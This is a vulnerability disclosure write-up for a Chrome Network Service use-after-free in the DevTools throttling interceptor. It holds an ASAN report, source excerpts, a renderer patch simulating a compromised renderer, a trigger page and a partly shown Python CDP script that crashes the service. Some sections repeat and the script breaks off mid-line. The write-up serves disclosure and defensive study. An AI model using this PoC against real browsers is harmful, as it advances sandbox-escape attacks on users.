#21 0x7fab481a257f in mojo::SimpleWatcher::Context::CallNotify(MojoTrapEvent const*) mojo/public/cpp/system/simple_watcher.cc:61:14
#22 0x7fab47d1d54b in mojo::core::ipcz_driver::MojoTrap::DispatchOrQueueEvent(...) mojo/core/ipcz_driver/mojo_trap.cc:605:3
#23 0x7fab47d1f7ca in mojo::core::ipcz_driver::MojoTrap::HandleEvent(IpczTrapEvent const&) mojo/core/ipcz_driver/mojo_trap.cc:459:3
#24 0x7fab47dea9d2 in ipcz::TrapEventDispatcher::~TrapEventDispatcher() third_party/ipcz/src/ipcz/trap_event_dispatcher.cc:30:5
#25 0x7fab47dd0fff in ipcz::Router::AcceptInboundParcel(...) third_party/ipcz/src/ipcz/router.cc:272:1
#26 0x7fab47d99697 in ipcz::NodeLink::AcceptCompleteParcel(...) third_party/ipcz/src/ipcz/node_link.cc:1082:31
#27 0x7fab47d9e323 in ipcz::NodeLink::OnAcceptParcel(ipcz::msg::AcceptParcel&) third_party/ipcz/src/ipcz/node_link.cc:666:10
#28 0x7fab47dbff61 in ipcz::msg::NodeMessageListener::OnTransportMessage(...) third_party/ipcz/src/ipcz/node_messages.cc:746:16
#29 0x7fab47d641f6 in ipcz::(anonymous namespace)::NotifyTransport(...) third_party/ipcz/src/ipcz/driver_transport.cc:129:20
Thread T5 (Chrome_ChildIOT) created by T0 (chrome) here:
#0 0x56500a167ef1 in pthread_create
#1 0x7fab476dddbc in base::(anonymous namespace)::CreateThread(...) base/threading/platform_thread_posix.cc:153:13
#2 0x7fab47678c20 in base::Thread::StartWithOptions(base::Thread::Options) base/threading/thread.cc:228:26
#3 0x7fab388b9123 in content::ChildProcess::ChildProcess(...) content/child/child_process.cc:152:21
#4 0x7fab3d50c50c in content::UtilityMain(content::MainFunctionParams) content/utility/utility_main.cc:459:16
#5 0x7fab3d64c1cd in content::RunOtherNamedProcessTypeMain(...) content/app/content_main_runner_impl.cc:762:14
#6 0x7fab3d64e8ea in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1152:10
#7 0x7fab3d649043 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:358:36
#8 0x7fab3d6493ca in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:371:10
#9 0x56500a1bfa35 in ChromeMain chrome/app/chrome_main.cc:191:12
#10 0x7faad6e29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-use-after-free gen/third_party/libc++/src/include/__tree:208:12 in network::ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer()
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.
Shadow bytes around the buggy address:
0x7cbac9079200: fa fa fa fa fa fa f7 fa fd fd fd fd fd fd fd fd
0x7cbac9079280: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7cbac9079300: fd fd fd fd fd fd fd fa fa fa fa fa fa fa f7 fa
0x7cbac9079380: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7cbac9079400: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
=>0x7cbac9079480: fa fa fa fa fa fa f7 fa fd[fd]fd fd fd fd fd fd
0x7cbac9079500: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7cbac9079580: fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7cbac9079600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7cbac9079680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7cbac9079700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Stack buffer overflow: f4
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3434823==ABORTING
Credit
c6eed09fc8b174b0f3eebedcceb1e792
Context
This is a use-after-free in Chrome's Network Service, specifically in ThrottlingP2PNetworkInterceptor, the component that simulates network delay for WebRTC P2P sockets when DevTools network throttling is active. The interceptor buffers outgoing packets in a std::map keyed by packet ID and releases them from a timer callback once the simulated delay expires.
The bug was reported through the Chrome VRP, rated high severity, and paid a bounty of 5000.00 USD. It was disclosed on 2026-06-02 and tracked as CVE-2026-10905. The introducing commit is [redacted] (2024-02-21, author Florent Castelli, review https://chromium-review.googlesource.com/c/chromium/src/+/5268668).
The severity depends heavily on where the Network Service runs. On Android it runs in-process within the browser by default, so the same bug is a direct renderer-to-browser sandbox escape. On desktop it runs in a separate utility process, but the Network Service sandbox is disabled by default on Linux and Windows, so code execution there is effectively unsandboxed.
Setup
The PoC operates under the compromised renderer threat model. It has three parts:
- A renderer-side patch that simulates a compromised renderer creating P2P sockets and sending non-STUN data directly over Mojo IPC, bypassing the WebRTC JavaScript APIs.
- A minimal HTML page (
poc.html) that the patched renderer recognises as the trigger. - A Python orchestrator (
poc_trigger.py) that uses CDP to enable network throttling.
All process sandboxes remain active. The build is an ASAN-instrumented Chrome:
autoninja -C out/asan-release chrome
The PoC was tested on desktop Linux with an out-of-process Network Service. Adding --enable-features=NetworkServiceInProcess to the launch flags moves the Network Service into the browser process, matching the default Android configuration.
Finding it
ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer() holds a std::map iterator while calling socket->SendFromInterceptor(). That call is not a leaf function: it can synchronously destroy the socket and erase the iterator's underlying map node via UnregisterSocket(). The subsequent send_packets_.erase(packet_iterator) then operates on freed memory.
A second observation makes the bug reachable: the interceptor path bypasses the connected_peers_ validation that would normally reject non-STUN data. When throttling is active, SendPacket() delegates straight to the interceptor without checks, and the validation only runs later inside the timer callback, which is exactly where the reentrant destruction happens. The receive path in OnReceiveNetworkTimer() contains the same structural pattern.
Exploitation
Step 1: Understand the vulnerable loop
send_packets_ stores pending packets keyed by a monotonically increasing packet ID. When the simulated delay expires, OnSendNetworkTimer() dequeues deliverable packets and processes them one by one: it looks up the entry, calls SendFromInterceptor(), then erases the entry using the same iterator.
// services/network/throttling/[redacted].cc
void ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer() {
int64_t now = webrtc::TimeMicros();
std::vector<webrtc::PacketDeliveryInfo> packets =
send_network_.DequeueDeliverablePackets(now);
for (auto& packet : packets) {
SendPacketMap::iterator packet_iterator =
send_packets_.find(packet.packet_id);
if (packet_iterator == send_packets_.end()) {
continue;
}
P2PSocketUdp* socket = packet_iterator->second.socket;
if (packet.receive_time_us != webrtc::PacketDeliveryInfo::kNotReceived) {
socket->SendFromInterceptor(packet_iterator->second.packet);
// ^ This call may synchronously destroy the socket, which calls
// UnregisterSocket, invalidating packet_iterator.
}
send_packets_.erase(packet_iterator);
// ^ heap-use-after-free: packet_iterator was already invalidated
}
// ...
}
Step 2: Follow the synchronous destruction chain
SendFromInterceptor() calls DoSend():
// services/network/p2p/socket_udp.cc
void P2PSocketUdp::SendFromInterceptor(const P2PPendingPacket& packet) {
if (send_pending_) {
send_queue_.push_back(packet);
} else {
std::ignore = DoSend(packet);
}
}
When DoSend() sees a packet addressed to a peer that has not completed STUN binding, it treats the packet as non-STUN data and calls OnError():
// services/network/p2p/socket_udp.cc
bool P2PSocketUdp::DoSend(const P2PPendingPacket& packet) {
// ...
if (!connected_peers_.contains(packet.to)) {
P2PSocket::StunMessageType type = P2PSocket::StunMessageType();
bool stun = GetStunPacketType(packet.data->first(packet.size), &type);
if (!stun || type == STUN_DATA_INDICATION) {
LOG(ERROR) << "Page tried to send a data packet to "
<< packet.to.ToString()
<< " before STUN binding is finished.";
OnError();
return false;
}
// ...
}
// ...
}
OnError() resets the Mojo receiver and client, then asks the P2PSocketManager to destroy the socket:
// services/network/p2p/socket.cc
void P2PSocket::OnError() {
receiver_.reset();
client_.reset();
delegate_->DestroySocket(this);
}
DestroySocket() erases the unique_ptr entry from its flat_map, which triggers the P2PSocketUdp destructor:
// services/network/p2p/socket_manager.cc
void P2PSocketManager::DestroySocket(P2PSocket* socket) {
auto iter = sockets_.find(socket);
CHECK(iter != sockets_.end());
sockets_.erase(iter);
}
The destructor calls interceptor_->UnregisterSocket(this), which removes every entry in send_packets_ belonging to the destroyed socket using std::erase_if:
// services/network/p2p/socket_udp.cc
P2PSocketUdp::~P2PSocketUdp() {
if (interceptor_) {
interceptor_->UnregisterSocket(this);
}
}
// services/network/throttling/[redacted].cc
void ThrottlingP2PNetworkInterceptor::UnregisterSocket(P2PSocketUdp* socket) {
std::erase_if(send_packets_, [&socket](auto& kv) -> bool {
return kv.second.socket == socket;
});
// ...
}
The whole chain runs synchronously on the same thread. By the time control returns from SendFromInterceptor() to OnSendNetworkTimer(), the map node that packet_iterator pointed to has already been freed.
Step 3: Note why validation does not help
When DevTools throttling is active, SendPacket() delegates directly to the interceptor without any checks:
// services/network/p2p/socket_udp.cc
bool P2PSocketUdp::SendPacket(base::span<const uint8_t> data,
const P2PPacketInfo& packet_info) {
if (interceptor_) {
P2PPendingPacket packet(packet_info.destination, data,
packet_info.packet_options, packet_info.packet_id);
interceptor_->EnqueueSend(std::move(packet), this);
return true; // bypasses all validation
}
// normal path with connected_peers_ check in DoSend...
}
The connected_peers_ check only runs later, inside the timer callback, which is where the reentrant destruction occurs.
Step 4: Reach the Network Service over Mojo
Once the attacker has renderer code execution through a separate renderer vulnerability, the compromised renderer talks to the Network Service directly over Mojo IPC, with no JavaScript or WebRTC API involvement. The relevant interface is small:
// services/network/public/mojom/p2p.mojom
interface P2PSocketManager {
CreateSocket(P2PSocketType type,
IPEndPoint local_address,
P2PPortRange port_range,
P2PHostAndIPEndPoint remote_address,
MutableNetworkTrafficAnnotationTag traffic_annotation,
mojo_base.mojom.UnguessableToken? devtools_token,
pending_remote<P2PSocketClient> client,
pending_receiver<P2PSocket> socket);
};
interface P2PSocket {
Send(mojo_base.mojom.ReadOnlyBuffer data,
P2PPacketInfo packet_info);
};
The renderer calls CreateSocket with P2PSocketType::UDP and the frame's devtools_token. Because throttling is active under that token, the socket is created with a non-null interceptor_ pointer. The renderer then calls P2PSocket::Send with non-STUN data addressed to an arbitrary destination. The interceptor buffers the packet, and when its delay timer fires, the chain above triggers the heap-use-after-free. The whole sequence completes within a single timer tick, with no user interaction beyond having DevTools throttling enabled.
Step 5: Apply the renderer patch
The patch simulates the compromised renderer. It adds the Mojo includes, a small PocP2PSocketClient class, and a trigger in DidFinishLoad() that fires only for the top-level frame whose URL contains poc.html.
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -117,6 +117,14 @@
#include "base/debug/dump_without_crashing.h"
#include "base/feature_list.h"
#include "base/logging.h"
+// === PoC includes ===
+#include "services/network/public/mojom/p2p.mojom.h"
+#include "services/network/public/cpp/p2p_socket_type.h"
+#include "mojo/public/cpp/bindings/remote.h"
+#include "mojo/public/cpp/bindings/receiver.h"
+#include "net/traffic_annotation/network_traffic_annotation.h"
+// === END PoC includes ===
+
#include "base/memory/weak_ptr.h"
#include "base/metrics/field_trial.h"
#include "base/metrics/field_trial_params.h"
@@ -3856,6 +3864,72 @@ void RenderFrameImpl::DidFailLoad(const WebURLError& error,
// ...
}
+// === Compromised renderer PoC: direct Mojo P2P socket creation ===
+namespace {
+
+class PocP2PSocketClient : public network::mojom::P2PSocketClient {
+ public:
+ PocP2PSocketClient() = default;
+ ~PocP2PSocketClient() override = default;
+
+ mojo::PendingRemote<network::mojom::P2PSocketClient> Bind() {
+ return receiver_.BindNewPipeAndPassRemote();
+ }
+
+ mojo::Remote<network::mojom::P2PSocket>& socket() { return socket_; }
+ mojo::PendingReceiver<network::mojom::P2PSocket> BindSocket() {
+ return socket_.BindNewPipeAndPassReceiver();
+ }
+
+ void SocketCreated(const net::IPEndPoint& local_address,
+ const net::IPEndPoint& remote_address) override {
+ LOG(ERROR) << "POC: P2P socket created, local=" << local_address.ToString()
+ << ", sending non-STUN data";
+ uint8_t fake_data[64] = {};
+ std::fill(std::begin(fake_data), std::end(fake_data),
+ static_cast<uint8_t>(0x41));
+ net::IPEndPoint target(net::IPAddress(10, 0, 0, 1), 9999);
+ for (int i = 0; i < 5; i++) {
+ network::P2PPacketInfo info;
+ info.destination = target;
+ info.packet_id = i + 1;
+ socket_->Send(fake_data, info);
+ }
+ LOG(ERROR) << "POC: Sent 5 non-STUN packets via Mojo";
+ }
+ void SendComplete(
+ const network::P2PSendPacketMetrics& send_metrics) override {}
+ void SendBatchComplete(
+ const std::vector<network::P2PSendPacketMetrics>& metrics) override {}
+ void DataReceived(
+ std::vector<network::mojom::P2PReceivedPacketPtr> packets) override {}
+
+ private:
+ mojo::Receiver<network::mojom::P2PSocketClient> receiver_{this};
+ mojo::Remote<network::mojom::P2PSocket> socket_;
+};
+
+// Static raw pointers so they outlive DidFinishLoad (intentional leak for PoC)
+static PocP2PSocketClient* g_poc_client = nullptr;
+static mojo::Remote<network::mojom::P2PSocketManager>* g_poc_manager = nullptr;
+
+} // namespace
+// === END compromised renderer PoC ===
+
void RenderFrameImpl::DidFinishLoad() {
TRACE_EVENT1("navigation,benchmark,rail", "RenderFrameImpl::didFinishLoad",
"frame_token", frame_token_);
@@ -3870,6 +3934,37 @@ void RenderFrameImpl::DidFinishLoad() {
for (auto& observer : observers_)
observer.DidFinishLoad();
+ // === Compromised renderer PoC trigger ===
+ if (!frame_->Parent() && !g_poc_client) {
+ std::string url = frame_->GetDocument().Url().GetString().Utf8();
+ if (url.find("poc.html") != std::string::npos) {
+ LOG(ERROR) << "POC: Page loaded, will create P2P socket in 3s "
+ << "(waiting for CDP to set throttling)";
+
+ g_poc_manager = new mojo::Remote<network::mojom::P2PSocketManager>();
+ GetBrowserInterfaceBroker().GetInterface(
+ g_poc_manager->BindNewPipeAndPassReceiver());
+ base::UnguessableToken token = devtools_frame_token_;
+
+ base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask(
+ FROM_HERE,
+ base::BindOnce([](base::UnguessableToken token) {
+ LOG(ERROR) << "POC: Creating P2P socket via Mojo directly";
+ g_poc_client = new PocP2PSocketClient();
+ net::IPEndPoint local_addr(net::IPAddress::IPv4AllZeros(), 0);
+ network::P2PHostAndIPEndPoint remote_info;
+
+ (*g_poc_manager)->CreateSocket(
+ network::P2P_SOCKET_UDP,
+ local_addr,
+ network::P2PPortRange(0, 0),
+ remote_info,
+ net::MutableNetworkTrafficAnnotationTag(
+ net::DefineNetworkTrafficAnnotation("poc_p2p", R"()")),
+ token,
+ g_poc_client->Bind(),
+ g_poc_client->BindSocket());
+
+ LOG(ERROR) << "POC: CreateSocket called with devtools_token="
+ << token.ToString();
+ }, token),
+ base::Seconds(3));
+ }
+ }
+ // === END PoC trigger ===
+
// Don't send this message while the frame is swapped out.
The patch calls P2PSocketManager::CreateSocket and P2PSocket::Send directly over Mojo, without WebRTC JavaScript APIs or the FilteringNetworkManager permission checks the normal path requires. The 3-second delay in DidFinishLoad gives the CDP orchestrator time to enable throttling before the socket is created. devtools_frame_token_ is passed to CreateSocket so the Network Service associates the socket with the active throttling conditions and engages the interceptor. In SocketCreated, the client sends five 64-byte non-STUN packets to [redacted]:9999.
Step 6: Serve the trigger page
<!DOCTYPE html>
<html>
<head><title>P2P Interceptor Iterator Invalidation UAF</title></head>
<body>
<h2>P2P Interceptor Iterator Invalidation UAF</h2>
<pre id="log"></pre>
<script>
// The compromised renderer patch in render_frame_impl.cc creates P2P sockets
// directly via Mojo on page load. No WebRTC JS API needed.
document.getElementById('log').textContent =
'Page loaded. Renderer patch will create P2P sockets via Mojo directly.\n' +
'If throttling is active, ASAN should report heap-use-after-free.\n';
</script>
</body>
</html>
Step 7: Drive Chrome with CDP
The orchestrator starts an HTTP server, launches ASAN Chrome with remote debugging, navigates to the page first, then enables throttling so it survives navigation, and waits for the delayed task and timer to fire.
#!/usr/bin/env python3
"""
PoC Trigger: P2P Interceptor Iterator Invalidation UAF
1. Starts HTTP server for poc.html
2. Launches Chrome with ASAN + remote debugging
3. Navigates to PoC page FIRST (wait for load)
4. THEN enables network throttling via CDP (so it survives navigation)
5. THEN the patched renderer creates P2P sockets via Mojo directly
6. Timer fires -> OnSendNetworkTimer -> iterator invalidation -> UAF
"""
import json
import http.server
import threading
import subprocess
import sys
import os
import tempfile
import time
import urllib.request
import socket
import base64
import struct
CHROME = os.path.expanduser("~/chromium/src/out/asan-release/chrome")
HTTP_PORT = 8899
CDP_PORT = 9222
LOG_FILE = "/tmp/poc-p2p-interceptor.log"
# Minimal sync WebSocket client (no external deps)
class MiniWS:
def __init__(self, url):
url = url.replace("ws://", "")
host_port, self.path = url.split("/", 1)
self.path = "/" + self.path
self.host, port = host_port.split(":")
self.port = int(port)
self.sock = socket.create_connection((self.host, self.port))
self.sock.settimeout(15)
self._handshake()
def _handshake(self):
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
f"Sec-WebSocket-Version: 13\r\n\r\n"
)
self.sock.sendall(req.encode())
resp = b""
while b"\r\n\r\n" not in resp:
resp += self.sock.recv(4096)
if b"101" not in resp.split(b"\r\n")[0]:
raise Exception(f"WS handshake failed: {resp[:200]}")
def send(self, data):
payload = data.encode() if isinstance(data, str) else data
mask_key = os.urandom(4)
length = len(payload)
header = bytearray()
header.append(0x81)
if length < 126:
header.append(0x80 | length)
elif length < 65536:
header.append(0x80 | 126)
header += struct.pack(">H", length)
else:
header.append(0x80 | 127)
header += struct.pack(">Q", length)
header += mask_key
masked = bytearray(b ^ mask_key[i % 4] for i, b in enumerate(payload))
self.sock.sendall(bytes(header) + bytes(masked))
def recv(self):
def read_exact(n):
buf = b""
while len(buf) < n:
chunk = self.sock.recv(n - len(buf))
if not chunk:
raise Exception("WS connection closed")
buf += chunk
return buf
hdr = read_exact(2)
length = hdr[1] & 0x7f
if length == 126:
length = struct.unpack(">H", read_exact(2))[0]
elif length == 127:
length = struct.unpack(">Q", read_exact(8))[0]
return read_exact(length).decode()
def close(self):
try:
self.sock.close()
except Exception:
pass
class Handler(http.server.SimpleHTTPRequestHandler):
def __init__(self, *a, **kw):
super().__init__(*a, directory=os.path.dirname(os.path.abspath(__file__)), **kw)
def log_message(self, *a):
pass
def start_http():
srv = http.server.HTTPServer(("[redacted]", HTTP_PORT), Handler)
srv.serve_forever()
def wait_for_cdp(timeout=30):
for _ in range(timeout * 2):
try:
resp = urllib.request.urlopen(f"http://[redacted]:{CDP_PORT}/json")
return json.loads(resp.read())
except Exception:
time.sleep(0.5)
return None
def main():
# HTTP server
threading.Thread(target=start_http, daemon=True).start()
print(f"[+] HTTP server on :{HTTP_PORT}")
# Launch Chrome - redirect stderr to file to avoid pipe buffer blocking
user_data = tempfile.mkdtemp(prefix="poc-p2p-")
cmd = [
CHROME,
"--disable-gpu",
f"--remote-debugging-port={CDP_PORT}",
f"--user-data-dir={user_data}",
"--headless",
"--enable-logging=stderr",
"--v=1",
"about:blank",
]
env = os.environ.copy()
env["ASAN_OPTIONS"] = "detect_odr_violation=0"
print(f"[+] Launching Chrome...")
stderr_file = open(LOG_FILE, "w")
proc = subprocess.Popen(cmd, env=env, stderr=stderr_file, stdout=subprocess.DEVNULL)
# Wait for CDP
print("[*] Waiting for CDP...")
targets = wait_for_cdp()
if not targets:
print("[-] CDP timeout")
proc.terminate()
stderr_file.close()
return
page = next((t for t in targets if t.get("type") == "page"), None)
if not page:
print("[-] No page target")
proc.terminate()
stderr_file.close()
return
ws_url = page["webSocketDebuggerUrl"]
print(f"[+] CDP target: {ws_url}")
ws = MiniWS(ws_url)
msg_id = 0
def cdp(method, params=None):
nonlocal msg_id
msg_id += 1
mid = msg_id
msg = {"id": mid, "method": method}
if params:
msg["params"] = params
ws.send(json.dumps(msg))
while True:
raw = ws.recv()
resp = json.loads(raw)
if resp.get("id") == mid:
return resp
def wait_for_event(name, timeout=10):
"""Read CDP messages until we see the named event."""
old_timeout = ws.sock.gettimeout()
ws.sock.settimeout(timeout)
try:
while True:
raw = ws.recv()
msg = json.loads(raw)
if msg.get("method") == name:
return msg
except socket.timeout:
return None
finally:
ws.sock.settimeout(old_timeout)
try:
# Step 1: Navigate to poc.html and wait for it to fully load
r = cdp("Page.enable")
p
The key ordering is deliberate: navigation happens first, then Network.enable and Network.emulateNetworkConditions with 50 ms latency and 1,000,000 bytes/s up and down, so throttling is active when the renderer's 3-second delayed task creates the socket. The script then waits 20 seconds for the delayed task, the interceptor timer and the crash.
Step 8: Run it
python3 poc_trigger.py
Output:
[+] HTTP server on :8899
[+] Launching Chrome...
[*] Waiting for CDP...
[+] CDP target: ws://[redacted]:9222/devtools/page/...
[+] Page.enable: id=1
[+] Page.navigate: id=2
[+] Page loaded successfully
[+] Network.enable: id=3
[+] Network.emulateNetworkConditions: id=4
[*] Throttling active. Renderer will create P2P sockets in ~3s. Waiting for crash (20s)...
[!!!] ASAN report detected!
Step 9: Read the ASAN report
The report shows a heap-use-after-free with a READ of size 8 on thread T5 (Chrome_ChildIOT). The top frame is network::ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer(), reached through base::OneShotTimer::RunUserTask(). The freed region was released by the same thread in UnregisterSocket, called from the P2PSocketUdp destructor, which was reached from P2PSocketManager::DestroySocket, P2PSocket::OnError() and P2PSocketUdp::DoSend(), itself called from OnSendNetworkTimer(). The allocation stack shows the map node being created in EnqueueSend, reached from P2PSocketUdp::SendPacket, P2PSocketUdp::Send and the Mojo dispatch for P2PSocket.
The thread creation stack identifies content::UtilityMain, confirming the crash is in the utility process on this Linux run, and the browser process logged "Network service crashed or was terminated, restarting service". The summary line reads:
SUMMARY: AddressSanitizer: heap-use-after-free gen/third_party/libc++/src/include/__tree:208:12 in network::ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer()
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Root cause
The mistake is holding a std::map iterator across a call that can synchronously destroy the object owning the map entry. SendFromInterceptor() is not a leaf: through DoSend() and OnError() it can reach DestroySocket(), the P2PSocketUdp destructor and UnregisterSocket(), which erases the very node packet_iterator points to. The subsequent send_packets_.erase(packet_iterator) then touches freed memory.
The existing connected_peers_ validation does not prevent this because the interceptor path in SendPacket() returns early when interceptor_ is set, deferring the check to the timer callback, which is exactly where the reentrant destruction happens. The receive path in OnReceiveNetworkTimer() has the same structural pattern.
Impact
The impact depends on where the Network Service runs. Chromium controls this with the kNetworkServiceInProcess feature flag:
// content/public/common/content_features.cc
BASE_FEATURE(kNetworkServiceInProcess,
"NetworkServiceInProcess2",
#if BUILDFLAG(IS_ANDROID)
base::FEATURE_ENABLED_BY_DEFAULT
#else
base::FEATURE_DISABLED_BY_DEFAULT
#endif
);
The runtime decision is in IsInProcessNetworkServiceImpl(). On Android, devices with 1 GB of RAM or less are forced into in-process mode regardless of the flag:
// content/browser/network/network_service_util_internal.cc
constexpr base::ByteCount kNetworkServiceOutOfProcessThreshold =
base::MiB(1077);
bool IsInProcessNetworkServiceImpl() {
if (base::CommandLine::ForCurrentProcess()->HasSwitch(
switches::kSingleProcess)) {
return true;
}
if (g_force_network_service_process_in_or_out) {
return *g_force_network_service_process_in_or_out;
}
#if BUILDFLAG(IS_ANDROID)
if (base::SysInfo::AmountOfPhysicalMemory() <=
kNetworkServiceOutOfProcessThreshold) {
return true;
}
#endif
return base::FeatureList::IsEnabled(features::kNetworkServiceInProcess);
}
On Android the Network Service runs in-process within the browser by default, and OnSendNetworkTimer() executes on the browser process's IO thread. The heap-use-after-free therefore corrupts browser process memory directly, with no intermediate sandbox boundary: a compromised renderer achieves a direct renderer-to-browser sandbox escape.
On desktop (Linux, Windows, macOS) the Network Service runs as a separate utility process, but the Network Service sandbox is disabled by default on Linux and Windows:
// sandbox/policy/features.cc
#if !BUILDFLAG(IS_MAC) && !BUILDFLAG(IS_FUCHSIA)
// Enables network service sandbox.
// (Only causes an effect when feature kNetworkServiceInProcess is disabled.)
BASE_FEATURE(kNetworkServiceSandbox, base::FEATURE_DISABLED_BY_DEFAULT);
On macOS and Fuchsia the sandbox is always enabled and does not depend on this flag. On desktop Linux and Windows, because kNetworkServiceSandbox defaults to disabled, code execution in the Network Service process is effectively equivalent to unsandboxed code execution. On macOS the attacker would still need to escape the Network Service sandbox after gaining code execution there.
The throttling precondition is realistic. Web developers routinely enable throttling through the DevTools Network panel (for example "Slow 3G" or "Fast 3G") while debugging, and automated testing frameworks such as Puppeteer and Playwright enable throttling via CDP as part of their test harnesses. The attacker does not need to control the throttling setup; they only need the victim to visit attacker-controlled content while throttling is already active. The Python CDP script in the PoC is only needed for self-contained reproducibility.
Fix
The report does not describe a fix or a patch.
Variants to test
- The receive path.
OnReceiveNetworkTimer()has the same structural pattern. A positive result is an ASAN heap-use-after-free whose free stack goes throughUnregisterSocketand whose use stack is in the receive timer callback. - Other interceptor callbacks that hold iterators across socket calls. Look for any timer or callback in the throttling code that keeps a container iterator while invoking a socket method. A positive result is a crash where the free and the use happen on the same thread within one callback.
- Other platforms and configurations. Run the same PoC with
--enable-features=NetworkServiceInProcesson desktop to match the Android default, and on Android itself. A positive result is the same ASAN report but with the crash occurring in the browser process rather than the utility process. - Other reentrant destruction paths. Any socket method that can reach
OnError()orDestroySocket()synchronously is a candidate. A positive result is a crash where the destruction stack passes throughDoSendandOnErrorinto the same callback that made the call. - Other
std::erase_ifbased unregistration. Any component that erases entries from a container owned by a caller currently iterating it is worth checking. A positive result is an iterator invalidation that ASAN reports as a use-after-free on the erased node.
What happened, in plain words
Chrome is made of several programs that run side by side. One of them, the renderer, turns web pages into something you can see and click. Another, the Network Service, does the actual talking to the internet: it opens connections, sends data and receives it. Chrome keeps these apart on purpose. If a malicious web page manages to take over the renderer, the attacker is still stuck inside that one program and cannot reach your files, your other tabs or the rest of the computer. That separation is called a sandbox.
This report describes a bug in the Network Service. Under one specific condition, a piece of code in the Network Service frees a small block of memory and then, a moment later, reads from that same block as if it were still there. That mistake has a name: use-after-free. It is dangerous because the freed memory can be handed out again to something else, and the stale read or write then touches data that belongs to a different part of the program. An attacker who can control what lands in that reused memory can sometimes turn the mistake into running their own code.
The condition is that network throttling must be switched on. Throttling is the feature in Chrome's developer tools (DevTools) that pretends your connection is slow, so you can see how a website behaves on a bad mobile network. When throttling is on, Chrome routes certain network traffic through a helper called ThrottlingP2PNetworkInterceptor, which holds packets back for a simulated delay and then releases them on a timer. The bug lives in that timer.
The bug was found and reported through the Chrome VRP, Google's programme that pays people for reporting security problems in Chrome. It was rated high severity, paid a bounty of 5000.00 USD, was disclosed on 2026-06-02 and is tracked as CVE-2026-10905. The code that introduced it is commit [redacted] from 2024-02-21, authored by Florent Castelli, reviewed at https://chromium-review.googlesource.com/c/chromium/src/+/5268668.
How bad it is depends on where the Network Service runs. On Android it runs inside the browser program itself by default, so the same bug corrupts the browser's own memory and a compromised renderer gets a direct way out of its sandbox. On desktop it runs as a separate helper program, but on Linux and Windows that helper is not sandboxed by default, so code execution there is effectively unsandboxed too.
Context
A few terms first, because the rest of the article leans on them.
- Network Service: the part of Chrome that performs network operations. It can run as a separate process or inside the browser process.
- Process: a running program with its own private memory. Two processes cannot normally read each other's memory.
- Renderer: the process that runs a web page's HTML, CSS and JavaScript.
- WebRTC: a set of browser features for real-time communication, such as video calls. It can send data directly between two computers, peer to peer, which is why it is called P2P.
- Packet: a small chunk of data sent over a network.
- Interceptor: a piece of code that sits between two others and can delay, inspect or modify what passes through.
- Iterator: a marker that points at one entry inside a collection of entries, so the program can refer to that entry again later.
- Heap: the area of memory where a program stores things it creates while running. "Heap-use-after-free" means the program used a piece of heap memory after giving it back.
- ASAN (AddressSanitizer): a debugging tool built into a special test build of Chrome. It watches memory and prints a detailed report the moment a program touches memory it should not.
- Mojo: Chrome's internal messaging system. Different parts of Chrome talk to each other by sending messages over Mojo instead of calling each other's functions directly.
- CDP (Chrome DevTools Protocol): the language that DevTools uses to control Chrome. Automation tools such as Puppeteer and Playwright speak it too.
This is a use-after-free in Chrome's Network Service, specifically in ThrottlingP2PNetworkInterceptor, the component that simulates network delay for WebRTC P2P sockets when DevTools network throttling is active. The interceptor buffers outgoing packets in a std::map keyed by packet ID and releases them from a timer callback once the simulated delay expires. A std::map is a lookup table: you give it a key (here, a packet number) and it gives you back the matching entry.
The bug was reported through the Chrome VRP, rated high severity, and paid a bounty of 5000.00 USD. It was disclosed on 2026-06-02 and tracked as CVE-2026-10905. The introducing commit is [redacted] (2024-02-21, author Florent Castelli, review https://chromium-review.googlesource.com/c/chromium/src/+/5268668).
The severity depends heavily on where the Network Service runs. On Android it runs in-process within the browser by default, so the same bug is a direct renderer-to-browser sandbox escape. On desktop it runs in a separate utility process, but the Network Service sandbox is disabled by default on Linux and Windows, so code execution there is effectively unsandboxed.
Setup
The demonstration program (a PoC, proof of concept) works under the compromised renderer threat model. That phrase means: assume the attacker has already found some other bug that lets them run code inside the renderer. This report is not about how they got there; it is about what they can do next. It has three parts:
